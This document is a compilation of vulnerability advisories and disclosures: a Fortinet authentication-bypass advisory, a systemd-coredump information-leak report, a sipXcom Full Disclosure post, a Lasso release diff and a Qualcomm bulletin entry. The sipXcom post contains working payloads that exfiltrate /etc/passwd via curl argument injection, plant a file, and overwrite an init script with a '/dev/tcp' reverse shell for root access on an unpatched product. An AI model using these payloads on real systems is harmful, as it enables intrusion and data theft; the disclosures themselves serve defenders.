An authentication bypass using an alternate path or channel [CWE-288] in Fortinet FortiOS version 7.2.0 through 7.2.1 and 7.0.0 through 7.0.6, FortiProxy version 7.2.0 and version 7.0.0 through 7.0.6 and FortiSwitchManager version 7.2.0 and 7.0.0 allows an unauthenticated atttacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.

** PSIRT Advisories**

**FortiOS / FortiProxy / FortiSwitchManager - Authentication bypass on administrative interface**

**Summary**

An authentication bypass using an alternate path or channel vulnerability \[CWE-288\] in FortiOS, FortiProxy and FortiSwitchManager may allow an unauthenticated attacker to perform operations on the administrative interface via specially crafted HTTP or HTTPS requests.

**Exploitation Status:**

Fortinet is aware of an instance where this vulnerability was exploited, and recommends immediately validating your systems against the following indicator of compromise in the device's logs:

user="Local\_Process\_Access" 

Please contact customer support for assistance.

**Workaround:**

**FortiOS:**

Disable HTTP/HTTPS administrative interface

OR

Limit IP addresses that can reach the administrative interface:

config firewall address

edit "my\_allowed\_addresses"

set subnet <MY IP> <MY SUBNET>

end

Then create an Address Group:

config firewall addrgrp

edit "MGMT\_IPs"

set member "my\_allowed\_addresses"

end

Create the Local in Policy to restrict access only to the predefined group on management interface (here: port1):

config firewall local-in-policy

edit 1

set intf port1

set srcaddr "MGMT\_IPs"

set dstaddr "all"

set action accept

set service HTTPS HTTP

set schedule "always"

set status enable

next

edit 2

set intf "any"

set srcaddr "all"

set dstaddr "all"

set action deny

set service HTTPS HTTP

set schedule "always"

set status enable

end

If using non default ports, create appropriate service object for GUI administrative access:

config firewall service custom

edit GUI\_HTTPS

set tcp-portrange <admin-sport>

next

edit GUI\_HTTP

set tcp-portrange <admin-port>

end

Use these objects instead of "HTTPS HTTP "in the local-in policy 1 and 2 below.

Please contact customer support for assistance.

**FortiProxy:**

Disable HTTP/HTTPS administrative interface

OR

For FortiProxy VM all versions or FortiProxy appliance 7.0.6:

Limit IP addresses that can reach the administrative interface (here: port1):

config system interface

edit port1

set dedicated-to management

set trust-ip-1 <MY IP> <MY SUBNET>

end

Please contact customer support for assistance.

**FortiSwitchManager:**

DIsable HTTP/HTTPS administrative interface

Please contact customer support for assistance.

**Affected Products**

FortiOS versions 5.x, 6.x are NOT impacted.  
FortiOS version 7.2.0 through 7.2.1  
FortiOS version 7.0.0 through 7.0.6  
FortiProxy version 7.2.0  
FortiProxy version 7.0.0 through 7.0.6  
FortiSwitchManager version 7.2.0  
FortiSwitchManager version 7.0.0

**Solutions**

Please upgrade to FortiOS version 7.2.2 or above  
Please upgrade to FortiOS version 7.0.7 or above  
Please upgrade to FortiProxy version 7.2.1 or above  
Please upgrade to FortiProxy version 7.0.7 or above  
Please upgrade to FortiSwitchManager version 7.2.1 or above

CVE-2022-40684: Fortiguard

A vulnerability was found in systemd. This security flaw can cause a local information leak due to systemd-coredump not respecting the fs.suid_dumpable kernel setting.

*   Products
    *   Openwall GNU/\*/Linux   _server OS_
    *   Linux Kernel Runtime Guard
    *   John the Ripper   _password cracker_
        *   Free & Open Source for any platform
        *   in the cloud
        *   Pro for Linux
        *   Pro for macOS
    *   Wordlists   _for password cracking_
    *   passwdqc   _policy enforcement_
        *   Free & Open Source for Unix
        *   Pro for Windows (Active Directory)
    *   yescrypt   _KDF & password hashing_
    *   yespower   _Proof-of-Work (PoW)_
    *   crypt\_blowfish   _password hashing_
    *   phpass   _ditto in PHP_
    *   tcb   _better password shadowing_
    *   Pluggable Authentication Modules
    *   scanlogd   _port scan detector_
    *   popa3d   _tiny POP3 daemon_
    *   blists   _web interface to mailing lists_
    *   msulogin   _single user mode login_
    *   php\_mt\_seed   _mt\_rand() cracker_
*   Services
*   Publications
    *   Articles
    *   Presentations
*   Resources
    *   Mailing lists
    *   Community wiki
    *   Source code repositories (GitHub)
    *   Source code repositories (CVSweb)
    *   File archive & mirrors
    *   How to verify digital signatures
    *   OVE IDs
*   What's new

\[<prev\] \[next>\] \[day\] \[month\] \[year\] \[list\]

Date: Wed, 21 Dec 2022 12:51:24 +0100
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: systemd-coredump: CVE-2022-4415: local information leak due to
 systemd-coredump not respecting fs.suid\_dumpable kernel setting

Hello list,

this is the publication of a report that was privately shared with the
linux-distros mailing list on 2022-12-09 with a communicated coordinated
release date of 2022-12-20.

I made small changes to the report to reflect recent developments.

This report is about a security issue I found in systemd-coredump.
systemd-coredump is a userspace coredump handler for Linux that is part
of the systemd suite \[1\].

\[1\]: https://github.com/systemd/systemd

The Issue
=========

systemd-coredump sets the sysctl fs.suid\_dumpable by default to 2 via
a sysctl.d drop-in configuration file. For the kernel's builtin coredump
handling this setting means that core dumps for setuid (or otherwise
privileged) processes will be written to disk but will only be
accessible to the root user to avoid sensitive data leaking to
unprivileged user accounts. See also \`man 5 proc\` for the full
documentation of this sysctl.

systemd-coredump in userspace, however, does not respect this kernel
setting in the implementation of its coredump handling. The real user ID
of a dumping process will receive read access to the core dump via an
ACL entry:

    someuser$ cat /proc/sys/kernel/core\_pattern
    |/usr/lib/systemd/systemd-coredump %P %u %g %s %t %c %h
    someuser$ cat /cat /proc/sys/fs/suid\_dumpable
    2
    someuser$ /usr/bin/su # run a setuid-root program and keep it running
    Password:
    
    # in another shell trigger a SEGFAULT in the setuid-root program
    someuser$ kill -s SIGSEGV \`pidof su\`
    
    # back in the original shell
    Password: Segmentation fault (core dumped)
    someuser$ cd /var/lib/systemd/coredump
    someuser$ ls -l
    -rw-r-----+ 1 root root 90K Okt 20 11:59 core.su.1000.76f0e40af2a240d98e50b90ab141d974.3529.1666259998000000.zst
    someuser$ getfacl core.su.\*
    # file:
    # core.su.1000.76f0e40af2a240d98e50b90ab141d974.3529.1666259998000000.zst
    # owner: root
    # group: root
    user::rw-
    user:someuser:r--
    group::r--
    mask::r--
    other::---

I have reproduced this on openSUSE Tumbleweed with systemd version 251.
I have been able to reproduce it also on other current Linux
distributions like Arch, Debian, Fedora and SLES.

Patch and Workaround
====================

Attached are the current (two) patches I received from systemd upstream.
Upstream published the fix by now in their GitHub repository \[2\].

A simple workaround without patching systemd-coredump is to revert the
sysctl setting of fs.suid\_dumpable back to 0. In this mode the kernel
will not invoke systemd-coredump for privileged programs. The issue will
thus not be triggered.

\[2\]: https://github.com/systemd/systemd/commit/b7641425659243c09473cd8fb3aef2c0d4a3eb9c

Affected Versions
=================

The vulnerable default of the fs.suid\_dumpable sysctl has been present
since systemd version 246 (introduced via commit 6635f57d3ee). Even
older versions may be affected though, should a system administrator
decide to change this setting to 2.

Upstream states that only systemd starting with version 247 are
affected, I don't know how they come to this different conclusion.

Upstream also states that only builds of systemd with libacl support are
affected. This makes sense since the read access to the core dumps is
granted via ACL entries and there is no fallback to this.

Exploit and Severity
====================

Exploiting this issue is pretty simple at the outset. Regular users are
allowed to send arbitrary signals to privileged processes they create.
Thus the privileged processes can be forced to dump core at arbitrary
points in time and the memory contents of the program will become
accessible via systemd-coredump.

Whether data obtained this way allows for a relevant information leak
depends on the timing, on the one hand, and on the type of program
executed on the other hand. What comes to mind is attempting to obtain
the password hash for the root user account that is stored in
/etc/shadow. Tools like 'su' and 'sudo' will have to process these
password hashes when authenticating the invoking user.

With 'sudo' this will not work, because it actively sets the ulimit for
coredumps to 0. The reason for this is to protect against exactly this
attack scenario \[3\].

With 'su' it works, however. Attached you can find a Python script I
created that shows that it is relatively simple to obtain the root
user's hash digest from /etc/shadow. From here on an attacker can
attempt to crack the hash using a GPU rig, for example. While it is not
a simple local root exploit it can be one if there is a dedicated
attacker.

Other setuid programs (or also programs running only with certain raised
Linux capabilties) could allow for different kinds of information leaks.
Even for 'su' it depends a lot on the PAM stack configuration. Some PAM
modules might read in data from private files in the target user's home
directory, or private configuration files which could leak via
systemd-coredump.

\[3\]: https://github.com/sudo-project/sudo/blob/3040bf54c99ed1baa9e7006be2fed3d5fa71f80e/docs/sudo.man.in#L1260

Timeline
========

2022-10-20: I sent a first report and some questions to
            systemd-security@...hat.com, offering coordinated disclosure.
2022-11-28: Communication did not progress much; I investigated the issue
            further by creating a PoC. Upstream confirmed the issue now and
            acknowledged a higher severity than initially considered.
2022-12-09: The final patches have been shared with us and we agreed to
            the CRD 2022-20-20. I shared the report with the
	    linux-distros mailing list.
2022-12-12: The CVE assignment was communicated by upstream and I also
            shared it with the linux-distros mailing list.
2022-12-20: Upstream published the fix.

Regards

Matthias

-- 
Matthias Gerstner <matthias.gerstner@...e.de>
Security Engineer
https://www.suse.com/security
GPG Key ID: 0x14C405C971923553
 
SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Ivo Totev, Andrew Myers, Andrew McDonald, Boudien Moerman

**View attachment "**0001-coredump-adjust-whitespace.patch**" of type "**text/plain**" (5417 bytes)**

**View attachment "**0002-coredump-do-not-allow-user-to-access-coredumps-with-.patch**" of type "**text/plain**" (15695 bytes)**

**View attachment "**su\_core\_shadow\_extract.py**" of type "**text/plain**" (6337 bytes)**

**Download attachment "**signature.asc**" of type "**application/pgp-signature**" (834 bytes)**

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.

CVE-2022-4415: security - systemd-coredump: CVE-2022-4415: local information leak due to systemd-coredump not respecting fs.suid_dumpable kernel setting

CoreDial sipXcom up to and including 21.04 is vulnerable to Improper Neutralization of Argument Delimiters in a Command. XMPP users are able to inject arbitrary arguments into a system command, which can be used to read files from, and write files to, the sipXcom server. This can also be leveraged to gain remote command execution.

**Full Disclosure mailing list archives****\[CVE-2023-25355/25356\] No fix available - vulnerabilities in CoreDial sipXcom sipXopenfire**

_From_: Systems Research Group via Fulldisclosure <fulldisclosure () seclists org>  
_Date_: Fri, 03 Mar 2023 14:30:41 +0000  

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
¯¯¯¯¯¯¯\\\_\_/ ༼ つ ◕\_◕ ༽つ  (ง'̀-'́)ง    (╯°□°）╯︵ ┻━┻ ヽ(´ー｀)ノ \\\_\_/¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
    Product: sipXcom sipXopenfire
     Vendor: CoreDial
       Name: "sipXcom sipXopenfire XMPP message system command 
             argument injection and insecure service file 
             permissions RCE"
    Version: 21.04 and earlier
      Fixed: Nope, no response
       Link: http://download.sipxcom.org/
       CVEs: CVE-2023-25355 & CVE-2023-25356
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
¯¯\\\_\_/ ༼ つ ◕\_◕ ༽つ  (ง'̀-'́)ง    (╯°□°）╯︵ ┻━┻ ヽ(´ー｀)ノ \\\_\_/¯¯¯¯¯¯¯
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
TL;DR
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CoreDial's sipXcom is a PBX server. It bundles an XMPP server 
component sipXopenfire, which is disabled by default. sipXopenfire 
is affected by an OS command argument injection vulnerability 
(CVE-2023-25356), which allows any user with an XMPP account to pass 
arbitrary arguments to a curl command. The same component is also 
affected by a weak file permissions vulnerability (CVE-2023-25355), 
affecting a service startup script which runs as root. Both issues 
can be chained to execute commands as the system root user.

At the time of this disclosure, we have had no response from 
CoreDial, and neither issue has been fixed. 

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25356: OS Command Argument Injection
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
As part of the initializePlugin() routine in 
sipXopenfire\\presence-plugin\\src\\org\\sipfoundry\\openfire\\plugin\\presence\\SipXOpenfirePlugin.java, 
an "interceptor" called DefaultMessagePacketInterceptor is 
registered.

The DefaultMessagePacketInterceptor inspects every message that's 
sent through the XMPP server. If a message starts with any of the 
strings "@call", "@conf" or "@xfer" (referred to internally as 
"directives"), a related code path is taken, where the message 
content is processed according to what the specific directive is 
meant to achieve.

When a message is intercepted which starts with "@call", all the 
text after this string is assumed to be a phone number and passed to
the buildRestCallCommand() function. This function creates a long 
URL, which the user input is written directly into. There's no 
particular attempt to sanitise this input. 

This URL is then passed to the sendRestRequest() function, where it 
is appended to a curl command string. This string is then passed to 
Runtime.getRuntime().exec(command).

Due to the inner mechanics of Runtime's exec() function, we are only
able to control arguments passed to the main curl command.

The constructed curl command is as follows:

\`\`\`
curl -k -X POST 
http://\[IPAddress\]:\[Port\]/callcontroller/\[callerNumber\]/\[controlledString\]timeout=30&isForwardingAllowed=true
\`\`\`

Since we can inject arbitrary arguments, we can construct a set of 
arguments which will read a file using the -d/--data flag, and send 
it over the network to us. The only limitation is that the 
sipXopenfire process runs as the daemon user. So we can only read 
files that are accessible to daemon. However, this includes 
potentially interesting files, like the chat history
(/opt/openfire/logs/sipxopenfire-im.log) when chat logging is 
enabled.

As proof-of-concept, the following payload will read /etc/passwd 
and post it to http://192.168.96.128/abc.

\`\`\`
@call abc -o/tmp/test123 -d @/etc/passwd http://192.168.96.128/abc
\`\`\`

We can also download files and write them to the server filesystem. 
The following will download the file from 
http://192.168.96.128/test.txt and write it to /tmp/test.txt

\`\`\`
@call abc -o /tmp/dummy -o /tmp/test.txt -X GET http://192.168.96.128/test.txt -o /tmp/dummy
\`\`\`

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
CVE-2023-25355: Weak Service File Permissions
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
The /etc/init.d/openfire service file is owned by the daemon user and
group, but runs as the root user. This gives a relatively clear 
path to privilege escalation. 

It also provides a very useful exploitation path, when chained with 
the curl argument injection issue.

Since we can download files and write them to the filesystem, and 
the sipXopenfire process runs as the daemon user, we can overwrite 
the /etc/init.d/openfire file with a modified version.

The following modified /etc/init.d/openfire will return a shell to 
port 4444 on 192.168.96.128 when the sipXopenfire service is 
(re)started. 

\`\`\`
#!/bin/sh
#
# openfire      Stops and starts the Openfire XMPP service.
#
# chkconfig: 2345 99 1
# description: Openfire is an XMPP server, which is a server that facilitates \\
#              XML based communication, such as chat.
# config: /opt/openfire/conf/openfire.xml
# config: /etc/sysconfig/openfire
# pidfile: /var/run/openfire.pid
#
# This script has currently been tested on Redhat, CentOS, and Fedora  based
# systems.
#
 
#####
# Begin setup work
#####
 
# Initialization
PATH="/sbin:/bin:/usr/bin:/usr/sbin"
RETVAL=0
 
# Check that we are root ... so non-root users stop here.
if \[ "\`id -u\`" != 0 \]; then
        echo $0 must be run as root
        exit 1
fi
 
su -s /bin/sh -c "bash -i >& /dev/tcp/192.168.96.128/4444 0>&1"
 
# Get config.
\[ -f "/etc/sysconfig/openfire" \] && . /etc/sysconfig/openfire
if \[ -f "/etc/init.d/functions" \]; then
  FUNCTIONS\_FOUND=true
  . /etc/init.d/functions
fi
 
# If openfire user is not set in sysconfig, set to daemon.
\[ -z "$OPENFIRE\_USER" \] && OPENFIRE\_USER="daemon"
 
# If pid file path is not set in sysconfig, set to /var/run/openfire.pid.
\[ -z "$OPENFIRE\_PIDFILE" \] && OPENFIRE\_PIDFILE="/var/run/openfire.pid"
 
# -----------------------------------------------------------------
 
# If a openfire home variable has not been specified, try to determine it.
if \[ -z "$OPENFIRE\_HOME" -o ! -d "$OPENFIRE\_HOME" \]; then
        if \[ -d "/usr/share/openfire" \]; then
                OPENFIRE\_HOME="/usr/share/openfire"
        elif \[ -d "/usr/local/openfire" \]; then
                OPENFIRE\_HOME="/usr/local/openfire"
        elif \[ -d "/opt/openfire" \]; then
                OPENFIRE\_HOME="/opt/openfire"
        else
                echo "Could not find Openfire installation under /opt, /usr/share, or /usr/local."
                echo "Please specify the Openfire installation location as variable OPENFIRE\_HOME"
                echo "in /etc/sysconfig/openfire."
                exit 1
        fi
fi
 
# If log path is not set in sysconfig, set to $OPENFIRE\_HOME/logs.
\[ -z "$OPENFIRE\_LOGDIR" \] && OPENFIRE\_LOGDIR="${OPENFIRE\_HOME}/logs"
 
# Attempt to locate java installation.
if \[ -z "$JAVA\_HOME" \]; then
        if \[ -d "${OPENFIRE\_HOME}/jre" \]; then
                JAVA\_HOME="${OPENFIRE\_HOME}/jre"
        elif \[ -d "/etc/alternatives/jre" \]; then
                JAVA\_HOME="/etc/alternatives/jre"
        else
                jdks=\`ls -r1d /usr/java/j\*\`
                for jdk in $jdks; do
                        if \[ -f "${jdk}/bin/java" \]; then
                                JAVA\_HOME="$jdk"
                                break
                        fi
                done
        fi
fi
JAVACMD="${JAVA\_HOME}/bin/java"
 
if \[ ! -d "$JAVA\_HOME" -o ! -x "$JAVACMD" \]; then
        echo "Error: JAVA\_HOME is not defined correctly."
        echo "       Can not sure execute $JAVACMD."
        exit 1
fi
 
# Prepare location of openfire libraries
OPENFIRE\_LIB="${OPENFIRE\_HOME}/lib"
 
# Prepare openfire command line
OPENFIRE\_OPTS="${OPENFIRE\_OPTS} -DopenfireHome=${OPENFIRE\_HOME} -Dopenfire.lib.dir=${OPENFIRE\_LIB}"
 
# Prepare local java class path
if \[ -z "$LOCALCLASSPATH" \]; then
        LOCALCLASSPATH="${OPENFIRE\_LIB}/startup.jar"
else
        LOCALCLASSPATH="${OPENFIRE\_LIB}/startup.jar:${LOCALCLASSPATH}"
fi
 
# Export any necessary variables
export JAVA\_HOME JAVACMD
 
# Lastly, prepare the full command that we are going to run.
OPENFIRE\_RUN\_CMD="${JAVACMD} -server ${OPENFIRE\_OPTS} -classpath \\"${LOCALCLASSPATH}\\" -jar 
\\"${OPENFIRE\_LIB}/startup.jar\\""
 
#####
# End setup work
#####
 
start() {
        OLD\_PWD=\`pwd\`
        cd $OPENFIRE\_LOGDIR
 
        PID=$(findPID)
        if \[ -n "$PID" \]; then                                              
            echo "Openfire is already running."                                
            RETVAL=1                                                          
            return                                                            
        fi                                                                    
 
        # Start daemons.                                                      
        echo -n "Starting openfire: "                                        
 
        rm -f nohup.out
        su -s /bin/sh -c "nohup $OPENFIRE\_RUN\_CMD > $OPENFIRE\_LOGDIR/nohup.out 2>&1 &" $OPENFIRE\_USER
        RETVAL=$?
 
        echo
 
        \[ $RETVAL -eq 0 -a -d /var/lock/subsys \] && touch /var/lock/subsys/openfire
 
        sleep 1 # allows prompt to return
        cd $OLD\_PWD
}
 
stop() {
        # Stop daemons.
        echo -n "Shutting down openfire: "
 
        PID=$(findPID)
        if \[ -n "$PID" \]; then
                if \[ -n "$FUNCTIONS\_FOUND" \]; then
                        echo $PID > $OPENFIRE\_PIDFILE
                        # delay copied from restart
                        killproc -p $OPENFIRE\_PIDFILE -d 10
                        rm -f $OPENFIRE\_PIDFILE
                else
                        kill $PID
                fi
        else
                echo "Openfire is not running."
        fi
 
        RETVAL=$?
        echo
 
        \[ $RETVAL -eq 0 -a -f "/var/lock/subsys/openfire" \] && rm -f /var/lock/subsys/openfire
}
 
restart() {
        stop
        sleep 10 # give it a few moments to shut down
        start
}
 
condrestart() {
        \[ -e "/var/lock/subsys/openfire" \] && restart
        return 0
}
 
status() {
        PID=$(findPID)
        if \[ -n "$PID" \]; then
                echo "openfire is running"
                RETVAL=0
        else
                echo "openfire is not running"
                RETVAL=1
        fi
}
 
findPID() {
        echo \`ps ax --width=1000 | grep openfire | grep startup.jar | awk '{print $1}'\`
}
 
# Handle how we were called.
case "$1" in
        start)
                start
                ;;
        stop)
                stop
                ;;
        restart)
                restart
                ;;
        condrestart)
                condrestart
                ;;
        reload)
                restart
                ;;
        status)
                status
                ;;
        \*)
                echo "Usage $0 {start|stop|restart|status|condrestart|reload}"
                RETVAL=1
esac
 
exit $RETVAL

\`\`\`

When served as openfire.txt from a web server (in this case, on 
192.168.96.128), the curl argument injection can be exploited as so 
to overwrite the original /etc/init.d/openfire script.

\`\`\`
@call abc -o /tmp/dummy -o /etc/init.d/openfire -X GET http://192.168.96.128/openfire.txt -o /tmp/dummy
\`\`\`

Once this file is overwritten, we should wait for the sipXopenfire 
service to be restarted. This might be from a server reboot, or from
an administrator restarting the sipXopenfire service itself. When 
the service does restart, we will get a shell back as the root user.

To make the exploitation more convenient, we could trigger the 
sipXopenfire service reload ourselves, if we also have credentials 
for the superadmin user on the sipXcom web configuration service. 

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Errata & Disclosure Timeline
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
These issues were found at the end of October 2022. Initial contact 
attempts began on November 2nd 2022.

sipXcom has a Wiki page that describes how to go about reporting 
issues. The recommended way is to file a bug on the Jira board, 
while setting "the 'Security' level in the New Issue to 'Security 
Issue'". I created a Jira account, tried to create an issue, and 
could not find the "Security" level option. I also noticed that it
was not possible to tag an issue with any version later than 17.04,
and there had also not been any meaningful activity on the tracker
since November 2021 - about a year before I started the disclosure
process. 

Since this recommended disclosure avenue seemed dead/unreliable, I
decided to directly privately approach whichever organisation was
responsible for sipXcom. I tried contacting eZuce who, at the time
of the initial disclosure attempt, were mentioned extensively in the
Wiki. I made several attempts at contact using the eZuce contact 
form. 

In the meantime, I noticed that the release notes for the latest 
sipXcom release started with the sentence "CoreDial is pleased to 
announce the GA release of sipXcom 21.04." It appears that eZuce, 
who had been the previous maintainers of sipXcom, were acquired by 
CoreDial in 2020. This implies that communications made to sipXcom 
or eZuce would make their way to CoreDial.

After a few weeks with no response from the sipXcom/eZuce contact
forms, I tried to make direct contact on Twitter. I also included 
the CoreDial account in this, and all subsequent tweets. I also 
tried to email CoreDial directly. My first attempt to contact 
CoreDial directly was December 1st 2022. 

At the time of this disclosure, I have sent several emails to, 
and tweets directed at, CoreDial. In each of the tweets, CoreDial
untagged themselves, and never responded.

I consider all these reasonable attempts to get the attention of
CoreDial. I would have much preferred that they fix the issues in
sipXcom before this disclosure. However, I encountered an active
lack of interest, so am also comfortable in this case fully 
disclosing technical details without any public fix.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

**Current thread:**

*   **\[CVE-2023-25355/25356\] No fix available - vulnerabilities in CoreDial sipXcom sipXopenfire** _Systems Research Group via Fulldisclosure (Mar 06)_

CVE-2023-25356: Full Disclosure: [CVE-2023-25355/25356] No fix available

Lasso all versions prior to 2.7.0 has improper verification of a cryptographic signature.

diff --git a/NEWS b/NEWS  
index cd93bc5..08ca1a2 100644  
\--- a/NEWS  
+++ b/NEWS

@@ -1,7 +1,61 @@

NEWS

\====

\-2.6.1 - Aptil 22th 2019

+2.7.0 - June 1st 2021

+----------------------

+36 commits, 45 files changed, 1945 insertions, 177 deletions

+

+\* CVE-2021-28091: Fix signature checking on unsigned response with multiple assertions

+

\+ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28091

+

\+ When AuthnResponse messages are not signed (which is

\+ permitted by the specifiation), all assertion's signatures should be

\+ checked, but currently after the first signed assertion is checked all

\+ following assertions are accepted without checking their signature, and

\+ the last one is considered the main assertion.

+

\+ This patch :

\+ \* check signatures from all assertions if the message is not signed,

\+ \* refuse messages with assertion from different issuers than the one on

\+ the message, to prevent assertion bundling event if they are signed.

+

+\* Python: improve display of warnings in the binding generator

+\* replace deprecated index() by strchr() (#51385)

+\* Fix: new provider reference count is incremented one time too many (#51420)

+\* docs: update gtk-doc-tools integration (#50441)

+\* bindings: disable java tests when java is disabled

+\* Fix: python3 bindings (#51249)

+\* configure.ac: disable java bindings

+\* build: update to use origin/main

+\* debian: add packaging for debian-buster

+\* jenkins.sh: build against all available python versions (#44287)

+\* python: do not leak out\_pyvalue if method call protocol is not respected (#44287)

+\* python: do not raise in valid\_seq() (#44287)

+\* python: return NULL if get\_list\_of\_strings() fails (#44287)

+\* python: return NULL if get\_list\_of\_pygobject fails (#44287)

+\* python: return NULL if get\_list\_of\_xml\_nodes fails (#44287)

+\* python: return NULL if set\_list\_of\_pygobject fails (#44287)

+\* python: return NULL if set\_list\_of\_xml\_nodes fails (#44287)

+\* python: return NULL if set\_list\_of\_strings fails (#44287)

+\* python: return NULL if set\_hashtable\_of\_strings fails (#44287)

+\* python: return NULL if set\_hashtable\_of\_pygobject fails (#44287)

+\* python: free internal string buffer if needed in set\_list\_of\_strings (#44287)

+\* python: check if hashtable is NULL before deallocatio (#44287)n

+\* python: add a failure label to method wrappers (#44287)

+\* python: add macro for early return (#44287)

+\* python: remove newline before method call (#44287)

+\* python: simplify get\_logger\_object (#44287)

+\* python: fix warning about discarded const modifier (#44287)

+\* python: replace exception by warning on logging path (#44287)

+\* python: use simpler call format to prevent warning about PY\_SSIZE\_T\_CLEAN (#44287)

+\* python: remove deprecated PyErr\_Warn (#44287)

+\* python: remove unused PyString\_Size (#44287)

+\* python: Exception.message was removed in python3 (#45995)

+\* tools: reimplement xmlURIEscapeStr to respect RFC3986 (#45581)

+\* configure.ac: support php7 interpreter on CentOS 8 (#42299)

+

+2.6.1 - April 22th 2020

\----------------------

42 commits, 425 files changed, 3894 insertions, 795 deletions

@@ -56,6 +56,10 @@

</repository>

<release>

<Version>

\+ <created>2021-06-01</created>

\+ <revision>2.7.0</revision>

\+ </Version>

\+ <Version>

<created>2020-04-22</created>

<revision>2.6.1</revision>

</Version>

@@ -9,7 +9,7 @@

<p>

All our <a href="https://dev.entrouvert.org/releases/lasso/">releases</a>

\- are available through HTTPs. The latest is the 2.6.1.

\+ are available through HTTPs. The latest is the 2.7.0.

</p>

<h1>Binary Downloads</h1>

diff --git a/website/web/news/27-release-2.7.0.xml b/website/web/news/27-release-2.7.0.xml  
new file mode 100644  
index 0000000..4bdbd63  
\--- /dev/null  
+++ b/website/web/news/27-release-2.7.0.xml

@@ -0,0 +1,15 @@

+<?xml version="1.0"?>

+<div xmlns="http://www.w3.org/1999/xhtml">

+<h3>2020-06-01: Released 2.7.0</h3>

+

\+ <p>

\+ Lasso 2.7.0 has been released.

\+ <a href="https://dev.entrouvert.org/releases/lasso/lasso-2.7.0.tar.gz">Download 2.7.0 now</a>

\+ </p>

+

\+ <p class="changes">

\+ <strong>What changed ?</strong>

\+ A lot, so look at the <a href="https://git.entrouvert.org/lasso.git/tree/NEWS?id=v2.7.0">NEWS</a> file.

\+ </p>

+

+</div>

CVE-2021-28091: Free software C library wich implements SAML 2.0 and Liberty Alliance standards

Null pointer dereference can occur due to lack of null check for user provided input in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Wearables

CVE-2021-1936: October 2021 Security Bulletin | Qualcomm

